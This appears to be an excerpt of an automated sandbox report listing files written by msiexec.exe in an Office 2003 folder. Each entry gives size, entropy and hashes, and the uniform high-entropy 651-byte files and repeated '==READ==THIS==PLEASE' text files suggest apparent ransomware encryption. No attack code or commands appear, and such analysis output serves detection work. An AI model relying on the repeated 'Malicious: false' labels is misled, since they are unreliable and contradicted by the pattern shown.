SHA-512:	AB26566198454694AB4C6D06ADAA0AA9C76150EE6AB5E73D713011AF3F0A9DE5303A189815C56B24D6066E7010C4288D16A2378C01E21DCBA3AFC334CE490B18
Malicious:	false
Reputation:	low

C:\Program Files (x86)\Microsoft Office\OFFICE11\MSCAL.DEP
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.686419742506253
Encrypted:	false
MD5:	3B901DA980C76CD0724F762EE3579AAD
SHA1:	4B5299115A823F23654F06AEA2E230FD799C5E3E
SHA-256:	6983FE9B7BDC56C7DF657207B1178266733779301977E0A8893E79E981C18C0F
SHA-512:	F9A93D78FB8B182CA37236CE49AD59DD14C3967EFC8C9197C38E051266EF3CE376E8C3E2CA87CDA030DA1A6E82D132EB53EADB4D572E152119C4294D00CA1B4D
Malicious:	false
Reputation:	low

C:\Program Files (x86)\Microsoft Office\OFFICE11\MSCAL.HLP
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.713241333702959
Encrypted:	false
MD5:	74AA30448D920216C2248BA27C571CF0
SHA1:	8FFD8632EF8BA2FAA3802DD1F937873252F7EE4F
SHA-256:	78EC05D42D2AA961632E33BE00332F4185334FBB4502E14A6C1F5C187D0488F7
SHA-512:	EFF7F6C4CFF9219CC90ECA90D8575CB07AB9A8F664C00D245C034C2726A9C0BDD40F838C109B0624B8CCC625ED2D846EE8641EE1E54BA4A4FD9EB7F6902BC56E
Malicious:	false
Reputation:	low

C:\Program Files (x86)\Microsoft Office\OFFICE11\MSCAL.OCX
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.704966899188766
Encrypted:	false
MD5:	0F0600462C4F2BD3A369CA19B83D9E2D
SHA1:	C7FB252E7F9FE629F455B1D1C3C5926C1D43B812
SHA-256:	8E3EA113871D2A58F4F453514FFDCA2BF254AD4D09BAD53CCCD9BBE804C770AE
SHA-512:	F5F224B59FD72155CCC2B3C43B885733949E9C90584F15EDB971CEF712AC654A95B2F5CBC5C0338DF1ED6419DA1A10BEC2CEACE4B5A37780F413D147E07AD0A0
Malicious:	false
Reputation:	low

C:\Program Files (x86)\Microsoft Office\OFFICE11\MSCOL11.INF
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.690060319928545
Encrypted:	false
MD5:	3CECC41E27D216435691A162F7D80F39
SHA1:	36E72685E949D27C3A190BAC1792BD6575C28E4D
SHA-256:	65D46C3732D6B640798827EC2AE78077C1A071D05A96D52C444B219996FA5AE9
SHA-512:	7729C4EA3CC4A46372A1CFC61D4944B53252195C759C2B7C858A88A56083053CA3972F517468A3882B5CF8A638F548D99938F70500757A89ED2C2A0F779F2C83
Malicious:	false
Reputation:	low

C:\Program Files (x86)\Microsoft Office\OFFICE11\MSCOL11.PPD
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.680318396619479
Encrypted:	false
MD5:	3E5E1DFAD54567FE7922CED1741CDCED
SHA1:	41F41F41BD0AB68515203A48D804C93295323CF9
SHA-256:	B09D4DDDC6226852EC22C9265470CC90D302C39EF6AA23EF5BF75BC28DCA9892
SHA-512:	A5ED6A42D818208CA2A01935588294C2095316343039E4EBDE2009F64FD3D07082F5F961323C7F259E8F51AF6BD75703537FF8CCDAF0DD9C7CEB8AA1E7159457
Malicious:	false
Reputation:	low

C:\Program Files (x86)\Microsoft Office\OFFICE11\MSN.ICO
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.681800461389183
Encrypted:	false
MD5:	58548A36B6E7D2758D4BD5BD442A683C
SHA1:	323E5D7A25A32434B55809DD208CE17F082B27DC
SHA-256:	BEB2A0872CC8B2FCC3D81F8A619E84785AD62CA842947FA3BD9850CE641B8017
SHA-512:	2F3380583D44DBFD619DC364628210A86E6C627030F98D34ECE8F17F67015C590CFDACD7916B147087D6CFC330C07AAF7204F5DB93079C2C410A13FCF82A53F7
Malicious:	false
Reputation:	low

C:\Program Files (x86)\Microsoft Office\OFFICE11\MSOUTL.OLB
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.701516713025937
Encrypted:	false
MD5:	78BD124C4BBA9908AEE16DEE0D903B8A
SHA1:	5AD5A0FD793804CE71C60E39B13A5421165F0DD0
SHA-256:	B0178E0804A1E57BD6EF8639C0D6EBA359572D0885897F8F44AE5D11DDCA17A9
SHA-512:	C24F95198D82260E3043E7CDFBE49FB96A17BC58B55BEFD085FE514571509DE3D992A4DDFC9393C4300609D13EEE72F3066E706FD2682018B62C94F8D383618A
Malicious:	false
Reputation:	low

C:\Program Files (x86)\Microsoft Office\OFFICE11\MSOUTLO.PIP
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.6474079167406845
Encrypted:	false
MD5:	D86B4472ECB89B86124C14B46B3F8379
SHA1:	6B8679F2F8349A13D78EB6951B4F3589F0E918C4
SHA-256:	711490E847F7A28DC30FD86539C454384E37503F130430ED756D657F52E3B6B9
SHA-512:	6BD2351474A2E640883DB3B4D74E8E4BE0CBB52185D2AC48C825A18731708E73BB5C32B39B942A240CCF7BD08F2A0F2A9276FAFABBFD4D7367BBA5AE5E2059B9
Malicious:	false
Reputation:	low

C:\Program Files (x86)\Microsoft Office\OFFICE11\MSPPT.OLB
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.6732717814073075
Encrypted:	false
MD5:	4654B0A189BD7BEA08542145E224EE55
SHA1:	10811B73A31B705CE7E139B38FCE3DBAEEE906EC
SHA-256:	35C3ADB3BDF8E564AAC56819A1BB54F86B6A502AE20F6F419F385DBD7A488D38
SHA-512:	3343D78091DDFEF3F73CE67AEDADFF84A7062FDBB2D1310F42F8D18D3D3B71E20000BC69BB04216B33CB226F9F197B8ED9CBB898FE5CA4A3C1FE72812278A4D9
Malicious:	false
Reputation:	low

C:\Program Files (x86)\Microsoft Office\OFFICE11\MSPUB.TLB
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.6673578669326705
Encrypted:	false
MD5:	3E0492C1D367592AC239DC691FD6767B
SHA1:	5F408F098C39C1AC7104A9420F2BCAE39F514DE9
SHA-256:	6D696524F9EE920D157F234D3449F31C0F064EAB6A8852A9B1E8A1836396F77D
SHA-512:	E91E459A9566167324D975054C5C9921AB60A05B9B8631BD9B54FC345B88DD8A08A1EC1FDEED8C2BA233C1AFB3A07A545C5179D192198CE9ABDD4667A7F0623A
Malicious:	false
Reputation:	low

C:\Program Files (x86)\Microsoft Office\OFFICE11\MSWORD.OLB
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.702072448838446
Encrypted:	false
MD5:	7B2EB9141B602566D5C74B30E6B552C2
SHA1:	07121254DCB6389345E54979CBC0C2D1A4AE480A
SHA-256:	A562BD919BADFC649447AC891E5A5FBB1EFAB29AC31611760DC22BD4F493958D
SHA-512:	887CD92922D15921C33E7BBCDA9E5CB2B257F6B574DF026A4AD71C34E413D3164D8689977A04378D491D3E5CB4ADAF8B8DCAF0D87B1CECE7B223B84C5EFEE121
Malicious:	false
Reputation:	low

C:\Program Files (x86)\Microsoft Office\OFFICE11\NOISECHS.TXT
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.698583937473297
Encrypted:	false
MD5:	11768FFE4462E0AD5E4A13DC226CD0CA
SHA1:	2B65672825B23DD93431055BCF2E761934FA7456
SHA-256:	ADCD1589C671F0C8E825FD8FCDF49412095F3FF909FFDEFB674B180ED57674A7
SHA-512:	9A6741077373CDADFA2877684C3B7C5A2A71286ACE573B6D4010365B1551A1828D0D50CB1C6B9F3B810F07E4096A41A800AEEB9A5D5F9335954C59BDF7226AF0
Malicious:	false
Reputation:	low

C:\Program Files (x86)\Microsoft Office\OFFICE11\NOISECHT.TXT
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.656678256850279
Encrypted:	false
MD5:	7BA833BDB387C5AC825738A7A4BFB7B3
SHA1:	2FA4E91946F70F8FD5ADCE9632FA33C416A277F1
SHA-256:	32089BFD8CF45FC7F48102EC51617BF8FACBFC8CCA7C57E2E2FDB6C0D48BFF84
SHA-512:	E216711DBCB8E1A972CC021C64C4479B7335CF2DFF9DB88413656EC1D69EF5F36C2A3ED5DA563A826B7E5FB04C6F70F4B7218D4179E77F38FDAAA06FEEAD612C
Malicious:	false
Reputation:	low

C:\Program Files (x86)\Microsoft Office\OFFICE11\NOISEDEU.TXT
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.707925118850331
Encrypted:	false
MD5:	63B2CB563A1820D245825D1CA4253F66
SHA1:	69F5AA37AA8A364E2FABA3DF43E23F7A54D3DD32
SHA-256:	ED96F8E1EFF6A7135C4DF0C918FB1DE153D4CC0B4B3EB62142871DE3072EAE15
SHA-512:	3B18B90ED63EFDDA22FC05C179EE738A576B22D56F9717CE9864BCBD9D6A312C66606A90634EC6C4D1CF05E1793B8C539E58636456DFCCF352970B1D3792D5D9
Malicious:	false
Reputation:	low

C:\Program Files (x86)\Microsoft Office\OFFICE11\NOISEENG.TXT
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.68902086145305
Encrypted:	false
MD5:	00A56E51D507318BA7EDA60C1E7C1F5E
SHA1:	F106F964BA4485F8743A13AF5A3CA696BE27E43F
SHA-256:	622D3EBCFB59B52752D094C2CCF0035CA4EBF4B47198C574E800B87734E5B904
SHA-512:	057B92FB75C880ACA520B609E08974BCDA5E47AB0EED92606940C9D19A4F4AB18E170702FD0D612388D28F652E39C7ED83B379C87067AFD999EA55D0E72A27B5
Malicious:	false
Reputation:	low

C:\Program Files (x86)\Microsoft Office\OFFICE11\NOISEENU.TXT
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.736594795206323
Encrypted:	false
MD5:	AE8DF993DF2AF6DB6265ED2E384D2C1E
SHA1:	35228D75DC36889E12C0FF3C2C6708D48600230A
SHA-256:	E135D74F27CF149F7456BB3A803C4AD50164D56FDA8152A817985C87BD4802E9
SHA-512:	A01E677433E1B1FF8699779B365FECE0A7C15DF0CD0BF9FCA41756D85ED07212EC43810212E86238C787039869FD82D9A2E8097975E6608BC6FBB039DB21FD94
Malicious:	false
Reputation:	low

C:\Program Files (x86)\Microsoft Office\OFFICE11\NOISEESN.TXT
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.689852153819434
Encrypted:	false
MD5:	4B6357549C70CB7098318F289D3DB6D6
SHA1:	C0138147C74BD0D5D017CB0306422E2562521B57
SHA-256:	FFB60AE254993C0C0490C2526F05EE6AED3D8D7E1C2B84479980D6C4DF0004CA
SHA-512:	7913032E74CE15F95034CF1B6EEFC9B96E33ACFAAE7EE0C06CDC084E329FAF78246907C59C96D9738460261CC36F12B4924F595F79EA912621DD55D8C214C8D9
Malicious:	false
Reputation:	low

C:\Program Files (x86)\Microsoft Office\OFFICE11\NOISEFRA.TXT
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.7045749275345745
Encrypted:	false
MD5:	2E5934537044D56F44129679595EB5E6
SHA1:	A3CC8506944317E29E8F4CEBADEBFF24ACDFA420
SHA-256:	2B2A6884EFCCBDCC1259F8CE9AF9F31D5F25EBB8A07A887282582678CAACA5DA
SHA-512:	8D2FF07769B52A0056BDD8A2E5A33676CD8B57DEDAAA876C10A16C1DA26F18917444A438A9A907378B8A3E87D3DAD64433FB288034478E62742F9842EE6FC370
Malicious:	false

C:\Program Files (x86)\Microsoft Office\OFFICE11\NOISEITA.TXT
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.685774032540045
Encrypted:	false
MD5:	357E5A2C5FA9F6CB9924D416F487E447
SHA1:	556C7DFC8190962F99C720717345DF797221AA36
SHA-256:	0CA1F1EA977B6C726CA31AFA067FD1C9E588871F16A4F79CEBE9FC396AF9749D
SHA-512:	9F050772636307D36FD5B3C113212B26DF2818959CA0903CC5BD1909CA94DD7B43B78A28F977B72B276574995906AAA0342648AAF7886BC81A3B901183DD6D2B
Malicious:	false

C:\Program Files (x86)\Microsoft Office\OFFICE11\NOISEJPN.TXT
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.713958902688159
Encrypted:	false
MD5:	3D53BEC3BA1E9F0F1AC2333FAFD4C2E4
SHA1:	124747B6AACD9AF39EAF2566D44CE6E7C5DE8602
SHA-256:	3F84463DDBAC8FA7A68FBCD95D4E3DF7959B66FE286D6740AFD778DB71ECF767
SHA-512:	D524B54635742037FC5F456FB43304E88D31D754DB2A3A1F77B79D930EDD3522337E86E64823D0B8FD5CEEABA17632F69992E32119EB85B6D16A6B472A7BFC6E
Malicious:	false

C:\Program Files (x86)\Microsoft Office\OFFICE11\NOISEKOR.TXT
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.67164220586188
Encrypted:	false
MD5:	8961C43E6F4A7DB34F5515BFF881BF8A
SHA1:	0A04DB53C9CB7CBB303B19BB6AC87506EB162A6A
SHA-256:	63F0A7F258AACCCB763DD88C50DEEB92AE53C10BE1199325B792CEE54329F29A
SHA-512:	036346C4C52468B07E17B4069D9DAEC2AC2AE27079BF677FDEEA55D46F61B6359E171FBF605F5D7AAB8C0BA98A3B361D5C66114359D083CABC80AE74F18EF370
Malicious:	false

C:\Program Files (x86)\Microsoft Office\OFFICE11\NOISENEU.TXT
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.672578809090308
Encrypted:	false
MD5:	4DFA468C99C71AF14BF0B0AAF9E141FB
SHA1:	672F890EACE58F2687F6FF067EC998F004837572
SHA-256:	917E3B5E5FD5E6337AB2BCCF8C7976F923197469D80A7C993DF8F56AC607C6AE
SHA-512:	FD09AE7E72E5F514FC4120FF976CE64F5E20E0D3754D9736440BC1159AE048EFBBE0FDD1BAFA5E213BD88E70027DE4FEBEF40C8FE2410DC1B3F164E6C2313CF5
Malicious:	false

C:\Program Files (x86)\Microsoft Office\OFFICE11\NOISENLD.TXT
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.71309854507933
Encrypted:	false
MD5:	E3137729664ADD64D345109FDFC18CCC
SHA1:	C58EACB2AB8F2A19E8D5DEA035EAE59725425490
SHA-256:	A0FD35D64F334AC5EDA127D6EE12C3B7AA1C1559B8FDA652C01F8287A9ED300F
SHA-512:	A696F9B7BACD659E5BCD22AEB4A68C18F79918641E180ECD87AB0033F75F3E02F3E1F39318EEA2B90E9B478F3D17B9924E82D711DDEEE74151E491F5715EF478
Malicious:	false

C:\Program Files (x86)\Microsoft Office\OFFICE11\NOISESVE.TXT
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.658863061052524
Encrypted:	false
MD5:	32660252118C2A32F6340C8D8F1D3E3F
SHA1:	4D8FA326FF76AC422B0D5C577D5CDE6E35C5366A
SHA-256:	910D44CAE8F45E71533E895F7D8A5360FEA9440C523E2DCB5642C04EB5E21D2B
SHA-512:	C5FC4CCA86273E9A19BFEB9E76830BD17FDCECA9A01E6A1F62C6D441DA1C0CAD1EB3ED17A11073BC8A53CAF0506DA3FFE027D0BC2690DA0C7289DD67DABFC149
Malicious:	false

C:\Program Files (x86)\Microsoft Office\OFFICE11\NOISETHA.TXT
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.720867197850947
Encrypted:	false
MD5:	6AC13ADE2C03D85936CC188ED3025728
SHA1:	DDBBA29514F52D404E5BCDABCD0C3D091153F527
SHA-256:	0DBBC370D815ADDC1E2B58BE0284C4CE514884598F13668F2B0246F0D095DC6D
SHA-512:	54346B63F13A413623A617EF8E60B57735173F308B8D8DE79C018281390CFD4E5554F99C47B38E0317DD1F8D1E38D582E27516948B9C69ECFD28B0472A63B27F
Malicious:	false

C:\Program Files (x86)\Microsoft Office\OFFICE11\OEMPRINT.CAT
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.695208048470773
Encrypted:	false
MD5:	D26BC25B8419B0DA37850FE4B6F3C453
SHA1:	0400E26D044F0A3F9EDB922B8B8BB9A1DA691B91
SHA-256:	B48304E61A0D7AA919A6DA0B530AC614CB8ACFF6BF069A779392E2FECA5FEDBA
SHA-512:	C27C3912DA5DC29943D8FB9BA5058CC9A5A990AD3E35EF98123E033A9767722B8ABF6D0D9311710FF3680EB2F9FE860BF0918FD8C02BC7A602D7C6E780CA546D
Malicious:	false

C:\Program Files (x86)\Microsoft Office\OFFICE11\OIS.PIP
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.689895201173834
Encrypted:	false
MD5:	31AF49689859C2BDF7903B9C1A507849
SHA1:	382EC8D89479C1423B9464497960BDA0428C4C20
SHA-256:	E6BE8977458019A6FF8B91D811F5D5266BD80DDAF3C263CB5A28D32FD6A34FE6
SHA-512:	C091F7E455D6D564F4306634E945F6EC9C82A930F1D290C0FEC950CAC637AECC1F3FB9A6D8F03CD098BF41B29A381CC10CD4BA9C0CFA275FAA8E1859721FBF71
Malicious:	false

C:\Program Files (x86)\Microsoft Office\OFFICE11\OLKPRTID.XML
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.6965212866450425
Encrypted:	false
MD5:	900694E23F89BB8E4C5460B032D4CEB6
SHA1:	FC3472ACC0E84B7822E8E058E3B1FE9B0A04693C
SHA-256:	C854C02BDA36F641F51A258D6985F2B29C858696DDEAA809BB8977A646D876A1
SHA-512:	4E90459E59A7F063686ADF7A28108754684E60D849F425B4227D7D0966C68DF9185E9C5E9AC791BB810146DFBB08E4091F8A097C066D8ADE3379244A872CC905
Malicious:	false

C:\Program Files (x86)\Microsoft Office\OFFICE11\OPW11USR.INI
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.731412938984525
Encrypted:	false
MD5:	892268E8204978216B79330C0D757F9C
SHA1:	E4CF98F1F6510AD0101C989424BA691134A9A66F
SHA-256:	6B866538E06EF7E2FD02B7E1BF2EF3ED28F8307961633A2AFBA1ABB105C2EEB8
SHA-512:	78A8644AEB99FDB4253440A786AB1B02DC38F2F590CE20BC4CDFB9C84D803396F7007E46414E6265424C80A6354BB1EBA9123A407CEF1F8AF2D67AE12D4AE173
Malicious:	false

C:\Program Files (x86)\Microsoft Office\OFFICE11\OUTLFLTR.DAT
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.655622631699384
Encrypted:	false
MD5:	851920C5C7BAFDEAB48CB071CF0676E8
SHA1:	813EF7636F7AD3AF10783CDC0B0E42FCBC9D748D
SHA-256:	2FA8E8D4A0D33AFE07F05F43747BF1D68A39F8E055E087B1DABAF40AF9C6F6B3
SHA-512:	8D9611BFBED654B3A43E303790780AEC33124098B5C26EFDA99AB1B2FE686B34D025D0D1AA1CD6093BA88D743B0484BF063F1DB7471FB6805C3BFB669E42C3BE
Malicious:	false

C:\Program Files (x86)\Microsoft Office\OFFICE11\POWERPOI.PIP
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.673253584298956
Encrypted:	false
MD5:	A6C16AEEE700EB3F454D6735DA9174C4
SHA1:	01AD9378F635AD30F25030CE47F7AEB3AFE48AC5
SHA-256:	29F230A235D133122707258EE06180BE26DA87E67022D005FCF4E277E4B2DB6F
SHA-512:	8D270EC9D0F24E68F23A950210652E6BE69E4D704C1BF3E9AEA017005885B277835607F5C80C2063E637F9C4581DC7A4B9336A7224992C63329B3B6CA1B479A1
Malicious:	false

C:\Program Files (x86)\Microsoft Office\OFFICE11\PPTPRTID.XML
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.726669066352176
Encrypted:	false
MD5:	45292400B625CFADED9FC093526F5A17
SHA1:	0A84EB44FFC47ECD9EC3D14A6BE541B83FCF78EE
SHA-256:	89AA4617713E28CE8AB14042680A3AFD0D7AC7E3DC41963D4DF6F8BB17F0FFDD
SHA-512:	01C9C38ADAEAAF1355AC05C993326D21CD8254B9B1B101933A81F1A2D6422B4CBC40401D617631929779D9F238057390F693DF9E08C645E10B54A4E39C59D9BE
Malicious:	false

C:\Program Files (x86)\Microsoft Office\OFFICE11\PUBLISHE.PIP
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.710287075459961
Encrypted:	false
MD5:	AADCC5BC2B83EB3073004CA757685DBA
SHA1:	AC0F9685029DB9039ECAFC4037D36787679DB17D
SHA-256:	2CE37C3D430382A7ACAB55BF6FEB87AEEFB3A2FF488A2AEAF133506066F1AA3A
SHA-512:	1160D98DDA4B2B18AFBF3FFA2F2BC7698685EA39198E15E0FD6A1DEDB5E442E350FDC7959587C86927B7D0AACEBC5A29B9AB0A0F84AB4A76B530FA85037372EB
Malicious:	false

C:\Program Files (x86)\Microsoft Office\OFFICE11\QUERIES\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Program Files (x86)\Microsoft Office\OFFICE11\QUERIES\MSN MoneyCentral Investor Currency Rates.iqy
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.712949356895837
Encrypted:	false
MD5:	F37AF96B0A8B63C705602889B90B656E
SHA1:	64E01D42BEC3A669A0F8A42AD7444AF210B36914
SHA-256:	0D5B248BDD5552DA5E616CCD5BE457E0A8E0E7D25BC6CF85010492912401363F
SHA-512:	390AE3D66550384365CB1B821BE5271B7DBE8C5F00C1572361C36ED2778B7BA7B5CC1A8DBB94888B3CB3A7F94813DE4C5E5E293C387287BD25FE6F3128A4EDAE
Malicious:	false

C:\Program Files (x86)\Microsoft Office\OFFICE11\QUERIES\MSN MoneyCentral Investor Major Indicies.iqy
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.682227390690003
Encrypted:	false
MD5:	CF2C848ACCB750AC786025C34A2B66FF
SHA1:	04DCB0A9CF072084D8E8B36FA5DD0EA7711E721B
SHA-256:	F9F438FB7E0F9A18D776EA1F4EA6F2CF76DB01579620BD6C2CDCA56995E2CD09
SHA-512:	77A38984A2D92843F66C0DF572313B7B5915E80C58FEB42F9C38C7A201B5F1659DEE4582E88A42CE7781B862F75834D0CA3160A89765D5EA0238E7DFE2B6D6AE
Malicious:	false

C:\Program Files (x86)\Microsoft Office\OFFICE11\QUERIES\MSN MoneyCentral Investor Stock Quotes.iqy
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.657096520054123
Encrypted:	false
MD5:	819E744F447065131D2792424299DBE4
SHA1:	7F60D8400D61163C258CD9AD1E564546213F430C
SHA-256:	D42D3BB29C21073A69365E11087EEDC48A71E6D473BAA9047C691663BA090AD8
SHA-512:	7AC24BE02A0EC91C78C5322776198B3DBEAD07F5864F723627162E8EC7EDBEE5C115E2D35A257A0E252490E5B239A46F190B61CF2391652BAC11CF023A9BCA39
Malicious:	false

C:\Program Files (x86)\Microsoft Office\OFFICE11\REFBAR.ICO
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.692753003729611
Encrypted:	false
MD5:	554802660E016AB45977BBC766443037
SHA1:	0636F4E1958987C9A8A4849DA1B8E66CA2EC6023
SHA-256:	15430C627B69F2CDD6F422C0040986960D16CE08E2FE792D5F6017A950B887D4
SHA-512:	BA6131D687AA95B4742205221166E9C2989C2DAC8F9F6FE7C6AA9E6A7D72B283D88AAEBB9CBF66B2F349BAA6754779CEFED281ECCD36A08B7B6CB6545FE9D09D
Malicious:	false

C:\Program Files (x86)\Microsoft Office\OFFICE11\REFBARH.ICO
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.733496900898978
Encrypted:	false
MD5:	CB2C2124E15E8C9370E5602C7AD3E8E3
SHA1:	6C1CD7BDEA89283613F6EDD28B1469320078E714
SHA-256:	5B07F977A184237DD816AE75AC2020B553999C0EE208A4B2DAE1D330C962E48E
SHA-512:	C2B3E3D9C325CA98AE5C51E2A7971FF30FCF281896B363ADA3BBE232C976F9329D39E7782247EBA604B8FE32DC0EE5A090B65497C614DC58BEA544DAAC48F2FC
Malicious:	false

C:\Program Files (x86)\Microsoft Office\OFFICE11\REMINDER.WAV
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.66116849535149
Encrypted:	false
MD5:	17E9EF0490FA5DB6790AB1E7EBDC0788
SHA1:	DE8BD2F67FE199AAB91EFFB1E8BE14F989924CA2
SHA-256:	D34773D2AEE85CAA2081E985502D51B0270E235DF32360D79F2EECA9C33B9795
SHA-512:	7E2B1F73949B130AA71761BE485F4E39E7CDBC67E5C67F5E74761351C671B00D7EF23AEF0A94471BF67CC55C189D1A2D962A7AE049D24617C6A585E0D892DC2E
Malicious:	false

C:\Program Files (x86)\Microsoft Office\OFFICE11\RESETO11.OPS
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.6497713162838945
Encrypted:	false
MD5:	E099C76EC8D707BE8BE774FA8342C8D9
SHA1:	BF4167BB5B9B89E25253037A9099F36431096503
SHA-256:	3A72B307DF993C4E69F945D0A050AC6161C1F66B9962F2E2EE95EFF55EC7CB90
SHA-512:	39E599CC1EB26AC23C1828DFA31686859C80251F4046166793A92F9BECE5417E4C3C4962FB0D22F0D8FAC8FD63A339FF96ECD8440BD10D65DDB93603A5E9BB70
Malicious:	false

C:\Program Files (x86)\Microsoft Office\OFFICE11\RSWOP.ICM
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.676083251026679
Encrypted:	false
MD5:	3C6FA743F0D2AC475F36D969C0090B3E
SHA1:	D8E6CE0FDB334D2A2AAC984D41C49EB0785FCD96
SHA-256:	58B019F799F7858F52DFD216E72DE5C31E093FD98B4AF7482CDB2FAE02416446
SHA-512:	EB3C451D1474CF21FE0421F2ED9B5CEF6A148374489FC93C90D95CC7926B29E888F1138B9161763230F4FD46839BC52CFD7DBC0759A3667E31A15A009981B61D
Malicious:	false

C:\Program Files (x86)\Microsoft Office\OFFICE11\SAMPLES\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Program Files (x86)\Microsoft Office\OFFICE11\SAMPLES\SOLVSAMP.XLS
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.7226800717857635
Encrypted:	false
MD5:	1E8F8D6E43A2F18D7266806968AC295A
SHA1:	791C6C9E5C6B2AD3578F8774217F75A14EF9086F
SHA-256:	044180C972696A0D957A0F5F50EF8D5D347410EFB70A995515BB34AFED784BB5
SHA-512:	19BA41E4BDA2A69E8C7BDE610BDB92E83E7899C71BF0A7D28628F6848705BABF456673D549C25703249FA9CD9AB8F83A980158C9AC437C7A89EC408A179CD2AE
Malicious:	false

C:\Program Files (x86)\Microsoft Office\OFFICE11\SMSW.CHM
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.682419626227884
Encrypted:	false
MD5:	B8F9F74E6FC6AAA8E6447D8081E51A32
SHA1:	B21323F3A5F606F0EF3D6D4496889ECDB8FD4232
SHA-256:	A8C2A634472E409261A7125FDCA5C49E22D96C72E7DDDEE535E15AC3C4654AD6
SHA-512:	794D55856F89BC045C1F5322E4A8F7FADDA6EF5B8AEA824EB6D4BFBA91F2B62CA1821FC39706538AF924F18070B265A657B39B2219954B548181A470662923E8
Malicious:	false

C:\Program Files (x86)\Microsoft Office\OFFICE11\USPDAT10.XML
